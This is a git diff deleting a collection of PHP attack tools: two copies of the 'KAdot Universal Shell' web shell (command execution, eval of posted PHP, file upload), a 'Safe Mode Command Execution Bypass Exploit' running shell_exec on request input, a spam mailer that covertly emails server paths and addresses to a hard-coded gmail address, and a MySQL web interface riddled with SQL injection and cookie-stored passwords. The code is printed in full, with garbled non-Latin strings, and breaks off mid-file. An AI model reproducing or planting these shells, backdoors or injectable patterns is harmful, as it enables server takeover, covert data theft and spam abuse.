-<%}//if edit -} -} -%> - - \ No newline at end of file diff --git a/KAdot Universal Shell v0.1.6.php b/KAdot Universal Shell v0.1.6.php deleted file mode 100644 index 6150454..0000000 --- a/KAdot Universal Shell v0.1.6.php +++ /dev/null @@ -1,229 +0,0 @@ - - - -KA_uShell 0.1.6 - - - - -



"; - -// Configuration -$login = "admin"; -$pass = "123"; - - -/*/ Authentication -if (!isset($_SERVER['PHP_AUTH_USER'])) { -header('WWW-Authenticate: Basic realm="KA_uShell"'); -header('HTTP/1.0 401 Unauthorized'); -exit;} - -else { -if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) -{ echo "��� ����?"; exit;} -} -*/ - - - -if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} -elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} -else {$ac = "shell";} - -// Menu -echo " -|Shell| -|File Upload| -|Tools| -|PHP Eval Code| -|Whois| -


";
-
-
-switch($ac) {
-
-// Shell
-case "shell":
-
-echo <<Shell
-
-
-
-
-$tend";
-break;
-
-
-//PHP Eval Code execution
-case "eval":
-
-echo <<PHP Eval Code
-
-$$sern -
-
- - - - - - - -$tend -HTML; - -if (isset($_POST['ephp'])){ -eval($_POST['ephp']); -} -break; - - -//Text tools -case "tools": - -echo <<Tools -
- - - - - - - - - -$tend -HTML; - -if (!empty($_POST['tot']) && !empty($_POST['tac'])) { - -switch($_POST['tac']) { - -case "1": -echo "��������������� �����:" .base64_decode($_POST['tot']). ""; -break; - -case "2": -echo "������������ �����:" .base64_encode($_POST['tot']). ""; -break; - -case "3": -echo "������������ �����:" .md5($_POST['tot']). ""; -break; -}} -break; - - -// Uploading -case "upload": - -echo <<File Upload -
-B64 Decode
-B64 Encode

-md5 Hash -
- - - - - - - - - -$tend -HTML; - -if (isset($_POST['path'])){ - -$uploadfile = $_POST['path'].$_FILES['file']['name']; -if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} - -if (copy($_FILES['file']['tmp_name'], $uploadfile)) { - echo "����� ������� �������� � ����� $uploadfile\n"; - echo "���:" .$_FILES['file']['name']. "\n"; - echo "������:" .$_FILES['file']['size']. "\n"; - -} else { - print "�� ������ ��������� �����. ����:\n"; - print_r($_FILES); -} -} -break; - - -// Whois -case "whois": -echo <<Whois -
�����:
�����:
- - - - - - - - - - - -$tend -HTML; - -if (isset($_POST['wq']) && $_POST['wq']<>"") { - -if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; - -$querty = $_POST['wq']."\r\n"; -$fp = fsockopen($wser, 43); - -if (!$fp) {echo "�� ���� ������� �����";} else { -fputs($fp, $querty); -while(!feof($fp)){echo fgets($fp, 4000);} -fclose($fp); -}} -break; - - -} -?> - - - \ No newline at end of file diff --git a/KAdot_Universal_Shell_v0.1.6.php b/KAdot_Universal_Shell_v0.1.6.php deleted file mode 100644 index 69bdbbe..0000000 --- a/KAdot_Universal_Shell_v0.1.6.php +++ /dev/null @@ -1,230 +0,0 @@ - - - - -KA_uShell 0.1.6 - - - - -
�����:
���� ������:
- -




"; - -// Configuration -$login = "admin"; -$pass = "123"; - - -/*/ Authentication -if (!isset($_SERVER['PHP_AUTH_USER'])) { -header('WWW-Authenticate: Basic realm="KA_uShell"'); -header('HTTP/1.0 401 Unauthorized'); -exit;} - -else { -if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) -{ echo "��� ����?"; exit;} -} -*/ - - - -if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} -elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} -else {$ac = "shell";} - -// Menu -echo " -|Shell| -|File Upload| -|Tools| -|PHP Eval Code| -|Whois| -


";
-
-
-switch($ac) {
-
-// Shell
-case "shell":
-
-echo <<Shell
-
-
-
-
-$tend";
-break;
-
-
-//PHP Eval Code execution
-case "eval":
-
-echo <<PHP Eval Code
-
-$$sern -
-
- - - - - - - -$tend -HTML; - -if (isset($_POST['ephp'])){ -eval($_POST['ephp']); -} -break; - - -//Text tools -case "tools": - -echo <<Tools -
- - - - - - - - - -$tend -HTML; - -if (!empty($_POST['tot']) && !empty($_POST['tac'])) { - -switch($_POST['tac']) { - -case "1": -echo "��������������� �����:" .base64_decode($_POST['tot']). ""; -break; - -case "2": -echo "������������ �����:" .base64_encode($_POST['tot']). ""; -break; - -case "3": -echo "������������ �����:" .md5($_POST['tot']). ""; -break; -}} -break; - - -// Uploading -case "upload": - -echo <<File Upload -
-B64 Decode
-B64 Encode

-md5 Hash -
- - - - - - - - - -$tend -HTML; - -if (isset($_POST['path'])){ - -$uploadfile = $_POST['path'].$_FILES['file']['name']; -if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} - -if (copy($_FILES['file']['tmp_name'], $uploadfile)) { - echo "����� ������� �������� � ����� $uploadfile\n"; - echo "���:" .$_FILES['file']['name']. "\n"; - echo "������:" .$_FILES['file']['size']. "\n"; - -} else { - print "�� ������ ��������� �����. ����:\n"; - print_r($_FILES); -} -} -break; - - -// Whois -case "whois": -echo <<Whois -
�����:
�����:
- - - - - - - - - - - -$tend -HTML; - -if (isset($_POST['wq']) && $_POST['wq']<>"") { - -if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; - -$querty = $_POST['wq']."\r\n"; -$fp = fsockopen($wser, 43); - -if (!$fp) {echo "�� ���� ������� �����";} else { -fputs($fp, $querty); -while(!feof($fp)){echo fgets($fp, 4000);} -fclose($fp); -}} -break; - - -} -?> - - - diff --git a/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php b/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php deleted file mode 100644 index 06a3035..0000000 --- a/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php +++ /dev/null @@ -1,34 +0,0 @@ -Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit
"; -print_r(' -
-
-Komut :
-
-
-H�zl� Men� :=) : - -
-'); -ini_restore("safe_mode"); -ini_restore("open_basedir"); -$liz0=shell_exec($_POST[baba]); -$liz0zim=shell_exec($_POST[liz0]); -$uid=shell_exec('id'); -$server=shell_exec('uname -a'); -echo "

"; -echo "Kimim Ben :=):$uid
"; -echo "Server:$server
"; -echo "Komut Sonu�lar�:
"; -echo $liz0; -echo $liz0zim; -echo "

"; -?> \ No newline at end of file diff --git a/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php b/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php deleted file mode 100644 index 2865e14..0000000 --- a/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php +++ /dev/null @@ -1,182 +0,0 @@ - -
-
-
-
�����:
���� ������:
- -
- - - -
-
-
- - - - -
-

-
- - - - -
- - - - - - - - - - - - - - - - - - - - - - -
-

Moroccan Spamers Ma-EditioN By GhOsT

-
Your -Email:
-
-
Your -Name:
-
- -
-
Reply-To:
-
-
Attach -File:
-
- -
-
Subject:
-
- -
-
- - - - -
- -
- -Plain - -HTML - - -
-
-
-
-
- - - - -
-

-
-

-
-
-
-
-
-
-
-
-
-
- -
-
- - - - -
-

Designed by: - v1.5

-
-
- - -\r\nReply-To: $replyto\r\n"; -$header .= "MIME-Version: 1.0\r\n"; -If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; -If ($file_name) $header .= "--$uid\r\n"; -$header .= "Content-Type: text/$contenttype\r\n"; -$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; -$header .= "$message\r\n"; -If ($file_name) $header .= "--$uid\r\n"; -If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; -If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; -If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); -If ($file_name) $header .= "$content\r\n"; -If ($file_name) $header .= "--$uid--"; -mail($to, $subject, "", $header); -print "Spamed'>
"; -flush(); -} -} - -} -?> - - - - - - - diff --git a/MySQL Web Interface Version 0.8.php b/MySQL Web Interface Version 0.8.php deleted file mode 100644 index a106ddf..0000000 --- a/MySQL Web Interface Version 0.8.php +++ /dev/null @@ -1,1302 +0,0 @@ -\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - echo "
\n"; - echo "

MySQL Web Interface

\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Username
Password

\n"; - echo "\n"; - echo "
\n"; - echo "

\n"; - echo "
\n"; - echo "
\n"; - echo "


\n"; - echo "\n"; - echo "Copyleft © since 1999,\n"; - echo "SooMin Kim
\n"; - echo "Hompage is -available
"; - echo "
\n"; - echo "
\n"; - echo "\n"; - echo "\n"; -} - -function logon_submit() { - global $username, $password, $PHP_SELF; - - setcookie( "mysql_web_admin_username", $username ); - setcookie( "mysql_web_admin_password", $password ); - echo ""; - echo ""; - echo ""; - echo ""; - echo ""; -} - -function echoQueryResult() { - global $queryStr, $errMsg; - - if( $errMsg == "" ) $errMsg = "Success"; - if( $queryStr != "" ) { - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Query$queryStr
Result$errMsg

\n"; - } -} - -function listDatabases() { - global $mysqlHandle, $PHP_SELF; - - echo "

Database List

\n"; - - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - - echo "\n"; - - $pDB = mysql_list_dbs( $mysqlHandle ); - $num = mysql_num_rows( $pDB ); - for( $i = 0; $i < $num; $i++ ) { - $dbname = mysql_dbname( $pDB, $i ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - } - echo "
$dbnameTableDropDump
\n"; -} - -function createDatabase() { - global $mysqlHandle, $dbname, $PHP_SELF; - - mysql_create_db( $dbname, $mysqlHandle ); - listDatabases(); -} - -function dropDatabase() { - global $mysqlHandle, $dbname, $PHP_SELF; - - mysql_drop_db( $dbname, $mysqlHandle ); - listDatabases(); -} - -function listTables() { - global $mysqlHandle, $dbname, $PHP_SELF; - - echo "

Table List

\n"; - echo "

$dbname

\n"; - echoQueryResult(); - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - //echo "
"; - echo "\n"; - echo "
\n"; - echo "
\n"; - - $pTable = mysql_list_tables( $dbname ); - - if( $pTable == 0 ) { - $msg = mysql_error(); - echo "

Error : $msg

\n"; - return; - } - $num = mysql_num_rows( $pTable ); - - echo "\n"; - - for( $i = 0; $i < $num; $i++ ) { - $tablename = mysql_tablename( $pTable, $i ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - } - - echo "
\n"; - echo "$tablename\n"; - echo "\n"; - echo "Schema\n"; - echo "\n"; - echo "Data\n"; - echo "\n"; - echo "Drop\n"; - echo "\n"; - echo "Dump\n"; - echo "
"; -} - -function createTable() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - $queryStr = "CREATE TABLE $tablename ( no INT )"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - listTables(); -} - -function dropTable() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - $queryStr = "DROP TABLE $tablename"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - listTables(); -} - -function viewSchema() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - echo "

Table Schema

\n"; - echo "

$dbname > $tablename

\n"; - - echoQueryResult(); - - echo "Add -Field | \n"; - echo "View -Data\n"; - echo "
\n"; - - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - $fieldname = $field["Field"]; - echo "\n"; - echo "\n"; - echo "\n"; - } - echo "
FieldTypeNullKeyDefaultExtraAction
".$field["Field"]."".$field["Type"]."".$field["Null"]."".$field["Key"]."".$field["Default"]."".$field["Extra"]."EditDrop
\n"; -} - -function manageField( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; - - if( $cmd == "add" ) - echo "

Add Field

\n"; - else if( $cmd == "edit" ) { - echo "

Edit Field

\n"; - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - if( $field["Field"] == $fieldname ) { - $fieldtype = $field["Type"]; - $fieldkey = $field["Key"]; - $fieldextra = $field["Extra"]; - $fieldnull = $field["Null"]; - $fielddefault = $field["Default"]; - break; - } - } - $type = strtok( $fieldtype, " (,)\n" ); - if( strpos( $fieldtype, "(" ) ) { - if( $type == "enum" | $type == "set" ) { - $valuelist = strtok( " ()\n" ); - } else { - $M = strtok( " (,)\n" ); - if( strpos( $fieldtype, "," ) ) - $D = strtok( " (,)\n" ); - } - } - } - - echo "

$dbname > $tablename

\n"; - echo "
\n"; - - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) { - echo "\n"; - echo "\n"; - } - echo "\n"; - echo "\n"; - - echo "

Name

\n"; - echo "

\n"; -?> - -

Type

- - -* `M' indicates the maximum display size.
-* `D' applies to floating-point types and indicates the number of -digits -following the decimal point.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type M  D unsignedzerofillbinary
>TINYINT (-128 ~ 127)O OO 
>SMALLINT (-32768 ~ 32767)O OO 
>MEDIUMINT (-8388608 ~ 8388607)O OO 
>INT (-2147483648 ~ 2147483647)O OO 
>BIGINT (-9223372036854775808 ~ -9223372036854775807)O OO 
>FLOATOO O 
>DOUBLEOO O 
>DECIMAL(NUMERIC)OO O 
>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)     
>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 -23:59:59, -YYYY-MM-DD HH:MM:SS)     
>TIMESTAMP (1970-01-01 00:00:00 ~ -2106..., -YYYYMMDD[HH[MM[SS]]])O    
>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)     
>YEAR (1901 ~ 2155, 0000, YYYY)     
>CHARO   O
>VARCHARO   O
>TINYTEXT (0 ~ 255)     
>TEXT (0 ~ 65535)     
>MEDIUMTEXT (0 ~ 16777215)     
>LONGTEXT (0 ~ 4294967295)     
>TINYBLOB (0 ~ 255)     
>BLOB (0 ~ 65535)     
>MEDIUMBLOB (0 ~ 16777215)     
>LONGBLOB (0 ~ 4294967295)     
>ENUM
value list
>SET
value list
- - - - - - - - - - -
MDunsignedzerofillbinaryvalue -list (ex: 'apple', 'orange', 'banana')
>>>>>>
- - -

Flags

- - - - - - - - -
not nulldefault valueauto -incrementprimary key
>>>>
- -

- -\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "

\n"; -} - -function manageField_submit( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, -$PHP_SELF, $queryStr, $errMsg, - $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, -$auto_increment, $primary_key, $valuelist; - - if( $cmd == "add" ) - $queryStr = "ALTER TABLE $tablename ADD $name "; - else if( $cmd == "edit" ) - $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; - - if( $M != "" ) - if( $D != "" ) - $queryStr .= "$type($M,$D) "; - else - $queryStr .= "$type($M) "; - else if( $valuelist != "" ) { - $valuelist = stripslashes( $valuelist ); - $queryStr .= "$type($valuelist) "; - } else - $queryStr .= "$type "; - - $queryStr .= "$unsigned $zerofill $binary "; - - if( $default_value != "" ) - $queryStr .= "DEFAULT '$default_value' "; - - $queryStr .= "$not_null $auto_increment"; - - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - // key change - $keyChange = false; - $result = mysql_query( "SHOW KEYS FROM $tablename" ); - $primary = ""; - while( $row = mysql_fetch_array($result) ) - if( $row["Key_name"] == "PRIMARY" ) { - if( $row[Column_name] == $name ) - $keyChange = true; - else - $primary .= ", $row[Column_name]"; - } - if( $primary_key == "PRIMARY KEY" ) { - $primary .= ", $name"; - $keyChange = !$keyChange; - } - $primary = substr( $primary, 2 ); - if( $keyChange == true ) { - $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - } - - viewSchema(); -} - -function dropField() { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr , $mysqlHandle ); - $errMsg = mysql_error(); - - viewSchema(); -} - -function viewData( $queryStr ) { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, -$rowperpage, $orderby; - - echo "

Data in Table

\n"; - if( $tablename != "" ) - echo "

$dbname > $tablename

\n"; - else - echo "

$dbname

\n"; - - $queryStr = stripslashes( $queryStr ); - if( $queryStr == "" ) { - $queryStr = "SELECT * FROM $tablename"; - if( $orderby != "" ) - $queryStr .= " ORDER BY $orderby"; - echo "Add -Data | \n"; - echo "Schema\n"; - } - - $pResult = mysql_db_query( $dbname, $queryStr ); - $errMsg = mysql_error(); - - $GLOBALS[queryStr] = $queryStr; - - if( $pResult == false ) { - echoQueryResult(); - return; - } - if( $pResult == 1 ) { - $errMsg = "Success"; - echoQueryResult(); - return; - } - - echo "
\n"; - - $row = mysql_num_rows( $pResult ); - $col = mysql_num_fields( $pResult ); - - if( $row == 0 ) { - echo "No Data Exist!"; - return; - } - - if( $rowperpage == "" ) $rowperpage = 20; - if( $page == "" ) $page = 0; - else $page--; - mysql_data_seek( $pResult, $page * $rowperpage ); - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - echo "\n"; - - for( $i = 0; $i < $rowperpage; $i++ ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - $key = ""; - for( $j = 0; $j < $col; $j++ ) { - $data = $rowArray[$j]; - - $field = mysql_fetch_field( $pResult, $j ); - if( $field->primary_key == 1 ) - $key .= "&" . $field->name . "=" . $data; - - if( strlen( $data ) > 20 ) - $data = substr( $data, 0, 20 ) . "..."; - $data = htmlspecialchars( $data ); - echo "\n"; - } - - if( $key == "" ) - echo "\n"; - else { - echo "\n"; - echo "\n"; - } - echo "\n"; - } - echo "
"; - echo "".$field->name."\n"; - echo "Action
\n"; - echo "$data\n"; - echo "no KeyEditDelete
\n"; - - echo "\n"; - echo "
\n"; - echo "\n"; - echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; - echo "\n"; - echo " | "; - if( $page > 0 ) { - echo "Prev\n"; - } else - echo "Prev"; - echo " | "; - if( $page < ($row/$rowperpage)-1 ) { - echo "Next\n"; - } else - echo "Next"; - echo " | "; - if( $row > $rowperpage ) { - echo "\n"; - echo "\n"; - } - echo "
\n"; - echo "
\n"; -} - -function manageData( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF; - - if( $cmd == "add" ) - echo "

Add Data

\n"; - else if( $cmd == "edit" ) { - echo "

Edit Data

\n"; - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE -$key", $mysqlHandle ); - $data = mysql_fetch_array( $pResult ); - } - - echo "

$dbname > $tablename

\n"; - - echo "
\n"; - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - - $pResultLen = mysql_list_fields( $dbname, $tablename ); - - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - $fieldname = $field["Field"]; - $fieldtype = $field["Type"]; - $len = mysql_field_len( $pResultLen, $i ); - - echo ""; - echo ""; - echo ""; - echo "\n"; - $value = htmlspecialchars($data[$i]); - if( $cmd == "add" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo ""; - } - echo "
NameTypeFunctionData
$fieldname".$field["Type"]."\n"; - echo "\n"; - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - echo "\n"; - } - } else if( $cmd == "edit" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - if( $value == $str ) - echo "\n"; - } - } - echo "

\n"; - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "

\n"; -} - -function manageData_submit( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - mysql_select_db( $dbname, $mysqlHandle ); - if( $cmd == "add" ) - $queryStr = "INSERT INTO $tablename VALUES ("; - else if( $cmd == "edit" ) - $queryStr = "REPLACE INTO $tablename VALUES ("; - for( $i = 0; $i < $num-1; $i++ ) { - $field = mysql_fetch_field( $pResult ); - $func = $GLOBALS[$field->name."_function"]; - if( $func != "" ) - $queryStr .= " $func("; - if( $field->numeric == 1 ) { - $queryStr .= $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "),"; - else - $queryStr .= ","; - } else { - $queryStr .= "'" . $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "'),"; - else - $queryStr .= "',"; - } - } - $field = mysql_fetch_field( $pResult ); - if( $field->numeric == 1 ) - $queryStr .= $GLOBALS[$field->name] . ")"; - else - $queryStr .= "'" . $GLOBALS[$field->name] . "')"; - - mysql_query( $queryStr , $mysqlHandle ); - $errMsg = mysql_error(); - - viewData( "" ); -} - -function deleteData() { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $queryStr = "DELETE FROM $tablename WHERE $key"; - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - viewData( "" ); -} - -function dump() { - global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; - - if( $action == "dumpTable" ) - $filename = $tablename; - else - $filename = $dbname; - - header("Content-disposition: filename=$filename.sql"); - header("Content-type: application/octetstream"); - header("Pragma: no-cache"); - header("Expires: 0"); - - $pResult = mysql_query( "show variables" ); - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - if( $rowArray[0] == "basedir" ) - $bindir = $rowArray[1]."bin/"; - } - - passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD -$dbname -$tablename" ); -} - -function utils() { - global $PHP_SELF, $command; - echo "

Utilities

\n"; - if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { - echo "
\n"; - echo "Show\n"; - echo "\n"; - echo "Flush\n"; - echo "
    \n"; - echo "
  • Hosts\n"; - if( $command == "flush_hosts" ) { - if( mysql_query( "Flush hosts" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Logs\n"; - if( $command == "flush_logs" ) { - if( mysql_query( "Flush logs" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Privileges\n"; - if( $command == "flush_privileges" ) { - if( mysql_query( "Flush privileges" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Tables\n"; - if( $command == "flush_tables" ) { - if( mysql_query( "Flush tables" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Status\n"; - if( $command == "flush_status" ) { - if( mysql_query( "Flush status" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
\n"; - } else { - $queryStr = ereg_replace( "_", " ", $command ); - $pResult = mysql_query( $queryStr ); - if( $pResult == false ) { - echo "Fail"; - return; - } - $col = mysql_num_fields( $pResult ); - - echo "

$queryStr

\n"; - echo "
\n"; - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - for( $j = 0; $j < $col; $j++ ) - echo "\n"; - echo "\n"; - } - echo "
".$field->name."
".htmlspecialchars( $rowArray[$j] )."
\n"; - } -} - -function header_html() { - global $PHP_SELF; - -?> - - -MySQL Web Interface - - - -\n"; - echo "\n"; - echo "[$USERNAME] - \n"; - - echo "Database List | \n"; - if( $tablename != "" ) - echo "Table -List | "; - echo "Utils |\n"; - echo "Logout\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} - -//------------------------------------------------------ MAIN - -if( $action == "logon" || $action == "" || $action == "logout" ) - logon(); -else if( $action == "logon_submit" ) - logon_submit(); -else if( $action == "dumpTable" || $action == "dumpDB" ) { - while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; - } - $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); - dump(); -} else { - while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; - } - echo ""; - - if( $mysqlHandle == false ) { - echo "\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "

Wrong Password!

\n"; - echo "Logon\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - } else { - header_html(); - if( $action == "listDBs" ) - listDatabases(); - else if( $action == "createDB" ) - createDatabase(); - else if( $action == "dropDB" ) - dropDatabase(); - else if( $action == "listTables" ) - listTables(); - else if( $action == "createTable" ) - createTable(); - else if( $action == "dropTable" ) - dropTable(); - else if( $action == "viewSchema" ) - viewSchema(); - else if( $action == "query" ) - viewData( $queryStr ); - else if( $action == "addField" ) - manageField( "add" ); - else if( $action == "addField_submit" ) - manageField_submit( "add" ); - else if( $action == "editField" ) - manageField( "edit" ); - else if( $action == "editField_submit" ) - manageField_submit( "edit" ); - else if( $action == "dropField" ) - dropField(); - else if( $action == "viewData" ) - viewData( "" ); - else if( $action == "addData" ) - manageData( "add" ); - else if( 